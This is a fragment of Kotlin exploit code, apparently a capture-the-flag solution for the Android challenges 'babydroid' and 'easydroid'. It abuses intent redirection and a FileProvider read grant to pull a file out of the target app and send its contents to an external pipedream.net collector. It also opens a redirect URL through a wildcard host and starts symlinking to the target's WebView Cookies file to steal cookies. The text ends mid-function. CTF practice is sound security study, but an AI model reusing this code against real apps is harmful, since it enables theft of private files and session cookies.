if (intent.getBooleanExtra("test", false)) { val uri = intent.data!! Log.d("FLAG_URL", uri.toString()) val input = contentResolver.openInputStream(uri) val flag = input?.readBytes()?.toString(Charset.defaultCharset())!! Log.d("FLAG", flag) "https://redacted.m.pipedream.net/".httpGet( parameters = listOf( Pair( "flag", flag ) ) ).responseString { request, response, result -> } return }
val packedIntent = Intent(this, MainActivity::class.java).apply { putExtra("test", true) data = Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag") flags = Intent.FLAG_GRANT_READ_URI_PERMISSION }
val i = Intent().apply { component = ComponentName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable") putExtra("intent", packedIntent) } startActivity(i) } }
publicfunlaunch(url: String) { val i = Intent().apply { setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity") data = Uri.parse("http://toutiao.com.192.168.2.224.traefik.me:8000/redir.html#$url") flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK } startActivity(i) }
funsymlink(): String { val root = applicationInfo.dataDir val symlink = "$root/symlink.html" val cookies = packageManager.getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies"